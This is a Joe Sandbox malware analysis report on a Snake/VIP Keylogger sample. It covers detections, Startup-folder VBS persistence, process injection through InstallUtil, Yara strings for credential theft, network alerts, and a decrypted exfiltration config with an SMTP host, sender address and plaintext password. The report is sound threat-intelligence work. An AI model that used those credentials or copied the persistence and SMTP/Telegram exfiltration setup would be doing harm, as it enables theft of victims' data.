Edit tour

Windows Analysis Report
pbgjw8i8N7.exe

Overview

General Information

Sample name:	pbgjw8i8N7.exe renamed because original name is a hash value
Original sample name:	44095f79a9e682a29ed75fab33f6dcf1e2f11937097e4c7e3f84080ff7444048.exe
Analysis ID:	1634876
MD5:	679da76a671452de2f13a1585028e74e
SHA1:	e89c5b5d3b31025710714c14955d22820e2ed493
SHA256:	44095f79a9e682a29ed75fab33f6dcf1e2f11937097e4c7e3f84080ff7444048
Tags:	exeSnakeKeyloggeruser-adrian__luca
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

Drops VBS files to the startup folder

Joe Sandbox ML detected suspicious sample

Sample uses string decryption to hide its real strings

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

pbgjw8i8N7.exe (PID: 1988 cmdline: "C:\Users\user\Desktop\pbgjw8i8N7.exe" MD5: 679DA76A671452DE2F13A1585028E74E)

InstallUtil.exe (PID: 8068 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

wscript.exe (PID: 6828 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

XsdType.exe (PID: 6732 cmdline: "C:\Users\user\AppData\Roaming\XsdType.exe" MD5: 679DA76A671452DE2F13A1585028E74E)

InstallUtil.exe (PID: 7500 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "bank@iaa-airferight.com", "Password": "moneyismade22", "Host": "mail.iaa-airferight.com", "Port": "25"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.2570925272.0000000002C2E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1353040747.0000000005380000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x25af3:$a1: get_encryptedPassword 0x25e14:$a2: get_encryptedUsername 0x25903:$a3: get_timePasswordChanged 0x25a0c:$a4: get_passwordField 0x25b09:$a5: set_encryptedPassword 0x2719a:$a7: get_logins 0x270fd:$a10: KeyLoggerEventArgs 0x26d62:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x262b3:$a1: get_encryptedPassword 0x265d4:$a2: get_encryptedUsername 0x260c3:$a3: get_timePasswordChanged 0x261cc:$a4: get_passwordField 0x262c9:$a5: set_encryptedPassword 0x2795a:$a7: get_logins 0x278bd:$a10: KeyLoggerEventArgs 0x27522:$a11: KeyLoggerEventArgsEventHandler
00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2569306283.00000000024CB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x4303:$a1: get_encryptedPassword 0x4624:$a2: get_encryptedUsername 0x4113:$a3: get_timePasswordChanged 0x421c:$a4: get_passwordField 0x4319:$a5: set_encryptedPassword 0x59aa:$a7: get_logins 0x590d:$a10: KeyLoggerEventArgs 0x5572:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.1463433201.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x259c3:$a1: get_encryptedPassword 0x25ce4:$a2: get_encryptedUsername 0x257d3:$a3: get_timePasswordChanged 0x258dc:$a4: get_passwordField 0x259d9:$a5: set_encryptedPassword 0x2706a:$a7: get_logins 0x26fcd:$a10: KeyLoggerEventArgs 0x26c32:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1331701274.0000000002971000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x264cd3:$a1: get_encryptedPassword 0x264ff4:$a2: get_encryptedUsername 0x264ae3:$a3: get_timePasswordChanged 0x264bec:$a4: get_passwordField 0x264ce9:$a5: set_encryptedPassword 0x26637a:$a7: get_logins 0x2662dd:$a10: KeyLoggerEventArgs 0x265f42:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: pbgjw8i8N7.exe PID: 1988	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: pbgjw8i8N7.exe PID: 1988	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pbgjw8i8N7.exe PID: 1988	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: pbgjw8i8N7.exe PID: 1988	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: pbgjw8i8N7.exe PID: 1988	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: pbgjw8i8N7.exe PID: 1988	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x7f3cf:$a1: get_encryptedPassword 0x145ae0:$a1: get_encryptedPassword 0x7f59a:$a2: get_encryptedUsername 0x145df7:$a2: get_encryptedUsername 0x7f202:$a3: get_timePasswordChanged 0x1458fa:$a3: get_timePasswordChanged 0x7f2ff:$a4: get_passwordField 0x145a03:$a4: get_passwordField 0x7f3e5:$a5: set_encryptedPassword 0x145af6:$a5: set_encryptedPassword 0x80f9b:$a7: get_logins 0x147f9f:$a7: get_logins 0x80f11:$a10: KeyLoggerEventArgs 0x147f02:$a10: KeyLoggerEventArgs 0x80c97:$a11: KeyLoggerEventArgsEventHandler 0x147b6b:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: InstallUtil.exe PID: 8068	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 8068	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: InstallUtil.exe PID: 8068	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: InstallUtil.exe PID: 8068	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x464a2:$a1: get_encryptedPassword 0x467b9:$a2: get_encryptedUsername 0x462bc:$a3: get_timePasswordChanged 0x463c5:$a4: get_passwordField 0x464b8:$a5: set_encryptedPassword 0x48961:$a7: get_logins 0x488c4:$a10: KeyLoggerEventArgs 0x4852d:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: XsdType.exe PID: 6732	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: XsdType.exe PID: 6732	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: XsdType.exe PID: 6732	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: XsdType.exe PID: 6732	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: XsdType.exe PID: 6732	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: XsdType.exe PID: 6732	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x221b:$a1: get_encryptedPassword 0x4cf54:$a1: get_encryptedPassword 0x2532:$a2: get_encryptedUsername 0x4d26b:$a2: get_encryptedUsername 0x2035:$a3: get_timePasswordChanged 0x4cd6e:$a3: get_timePasswordChanged 0x213e:$a4: get_passwordField 0x4ce77:$a4: get_passwordField 0x2231:$a5: set_encryptedPassword 0x4cf6a:$a5: set_encryptedPassword 0x46da:$a7: get_logins 0x4f413:$a7: get_logins 0x463d:$a10: KeyLoggerEventArgs 0x4f376:$a10: KeyLoggerEventArgs 0x42a6:$a11: KeyLoggerEventArgsEventHandler 0x4efdf:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: InstallUtil.exe PID: 7500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.pbgjw8i8N7.exe.5380000.6.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.pbgjw8i8N7.exe.5380000.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.InstallUtil.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x25503:$a1: get_encryptedPassword 0x25824:$a2: get_encryptedUsername 0x25313:$a3: get_timePasswordChanged 0x2541c:$a4: get_passwordField 0x25519:$a5: set_encryptedPassword 0x26baa:$a7: get_logins 0x26b0d:$a10: KeyLoggerEventArgs 0x26772:$a11: KeyLoggerEventArgsEventHandler
1.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x260fc:$s1: UnHook 0x26103:$s2: SetHook 0x2610b:$s3: CallNextHook 0x26118:$s4: _hook
0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x23703:$a1: get_encryptedPassword 0x23a24:$a2: get_encryptedUsername 0x23513:$a3: get_timePasswordChanged 0x2361c:$a4: get_passwordField 0x23719:$a5: set_encryptedPassword 0x24daa:$a7: get_logins 0x24d0d:$a10: KeyLoggerEventArgs 0x24972:$a11: KeyLoggerEventArgsEventHandler
0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x242fc:$s1: UnHook 0x24303:$s2: SetHook 0x2430b:$s3: CallNextHook 0x24318:$s4: _hook
0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x25503:$a1: get_encryptedPassword 0x25824:$a2: get_encryptedUsername 0x25313:$a3: get_timePasswordChanged 0x2541c:$a4: get_passwordField 0x25519:$a5: set_encryptedPassword 0x26baa:$a7: get_logins 0x26b0d:$a10: KeyLoggerEventArgs 0x26772:$a11: KeyLoggerEventArgsEventHandler
0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x260fc:$s1: UnHook 0x26103:$s2: SetHook 0x2610b:$s3: CallNextHook 0x26118:$s4: _hook
3.2.XsdType.exe.3bbbdb0.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.XsdType.exe.3bbbdb0.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
3.2.XsdType.exe.3bbbdb0.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.XsdType.exe.3bbbdb0.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x23703:$a1: get_encryptedPassword 0x23a24:$a2: get_encryptedUsername 0x23513:$a3: get_timePasswordChanged 0x2361c:$a4: get_passwordField 0x23719:$a5: set_encryptedPassword 0x24daa:$a7: get_logins 0x24d0d:$a10: KeyLoggerEventArgs 0x24972:$a11: KeyLoggerEventArgsEventHandler
3.2.XsdType.exe.3bbbdb0.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x242fc:$s1: UnHook 0x24303:$s2: SetHook 0x2430b:$s3: CallNextHook 0x24318:$s4: _hook
3.2.XsdType.exe.3bbbdb0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.XsdType.exe.3bbbdb0.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
3.2.XsdType.exe.3bbbdb0.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.XsdType.exe.3bbbdb0.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x25503:$a1: get_encryptedPassword 0x25824:$a2: get_encryptedUsername 0x25313:$a3: get_timePasswordChanged 0x2541c:$a4: get_passwordField 0x25519:$a5: set_encryptedPassword 0x26baa:$a7: get_logins 0x26b0d:$a10: KeyLoggerEventArgs 0x26772:$a11: KeyLoggerEventArgsEventHandler
3.2.XsdType.exe.3bbbdb0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x260fc:$s1: UnHook 0x26103:$s2: SetHook 0x2610b:$s3: CallNextHook 0x26118:$s4: _hook
0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x264743:$a1: get_encryptedPassword 0x264a64:$a2: get_encryptedUsername 0x264553:$a3: get_timePasswordChanged 0x26465c:$a4: get_passwordField 0x264759:$a5: set_encryptedPassword 0x265dea:$a7: get_logins 0x265d4d:$a10: KeyLoggerEventArgs 0x2659b2:$a11: KeyLoggerEventArgsEventHandler
0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26533c:$s1: UnHook 0x265343:$s2: SetHook 0x26534b:$s3: CallNextHook 0x265358:$s4: _hook
0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x215f23:$a1: get_encryptedPassword 0x216244:$a2: get_encryptedUsername 0x215d33:$a3: get_timePasswordChanged 0x215e3c:$a4: get_passwordField 0x215f39:$a5: set_encryptedPassword 0x2175ca:$a7: get_logins 0x21752d:$a10: KeyLoggerEventArgs 0x217192:$a11: KeyLoggerEventArgsEventHandler
0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x216b1c:$s1: UnHook 0x216b23:$s2: SetHook 0x216b2b:$s3: CallNextHook 0x216b38:$s4: _hook
Click to see the 32 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3084, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs" , ProcessId: 6828, ProcessName: wscript.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 46.175.148.58, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, Initiated: true, ProcessId: 8068, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49751

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3084, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs" , ProcessId: 6828, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\pbgjw8i8N7.exe, ProcessId: 1988, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T06:10:07.153657+0100	2803305	3	Unknown Traffic	192.168.2.5	49714	104.21.96.1	443	TCP
2025-03-11T06:10:18.915468+0100	2803305	3	Unknown Traffic	192.168.2.5	49719	104.21.96.1	443	TCP
2025-03-11T06:10:30.004518+0100	2803305	3	Unknown Traffic	192.168.2.5	49726	104.21.96.1	443	TCP
2025-03-11T06:10:34.050375+0100	2803305	3	Unknown Traffic	192.168.2.5	49729	104.21.96.1	443	TCP
2025-03-11T06:10:49.188792+0100	2803305	3	Unknown Traffic	192.168.2.5	49748	104.21.96.1	443	TCP
2025-03-11T06:10:52.152063+0100	2803305	3	Unknown Traffic	192.168.2.5	49750	104.21.96.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T06:09:59.024815+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49712	158.101.44.242	80	TCP
2025-03-11T06:10:04.872621+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49712	158.101.44.242	80	TCP
2025-03-11T06:10:16.717744+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	158.101.44.242	80	TCP
2025-03-11T06:10:24.107212+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49716	158.101.44.242	80	TCP
2025-03-11T06:10:27.857004+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49716	158.101.44.242	80	TCP
2025-03-11T06:10:30.716397+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49728	158.101.44.242	80	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T06:10:45.740940+0100	1810007	1	Potentially Bad Traffic	192.168.2.5	49745	149.154.167.220	443	TCP
2025-03-11T06:10:54.564569+0100	1810007	1	Potentially Bad Traffic	192.168.2.5	49753	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: pbgjw8i8N7.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\XsdType.exe

Avira: detection malicious, Label: TR/AD.GenSteal.frzkf

Found malware configuration

Source: 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "bank@iaa-airferight.com", "Password": "moneyismade22", "Host": "mail.iaa-airferight.com", "Port": "25"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\XsdType.exe	Virustotal: Detection: 70%			Perma Link
Source: C:\Users\user\AppData\Roaming\XsdType.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: pbgjw8i8N7.exe	Virustotal: Detection: 70%			Perma Link
Source: pbgjw8i8N7.exe	ReversingLabs: Detection: 63%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 3.2.XsdType.exe.3bbbdb0.2.unpack	String decryptor: bank@iaa-airferight.com
Source: 3.2.XsdType.exe.3bbbdb0.2.unpack	String decryptor: moneyismade22
Source: 3.2.XsdType.exe.3bbbdb0.2.unpack	String decryptor: mail.iaa-airferight.com
Source: 3.2.XsdType.exe.3bbbdb0.2.unpack	String decryptor: 25
Source: 3.2.XsdType.exe.3bbbdb0.2.unpack	String decryptor:

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: pbgjw8i8N7.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.5:49713 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.5:49723 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49753 version: TLS 1.2

Source: pbgjw8i8N7.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

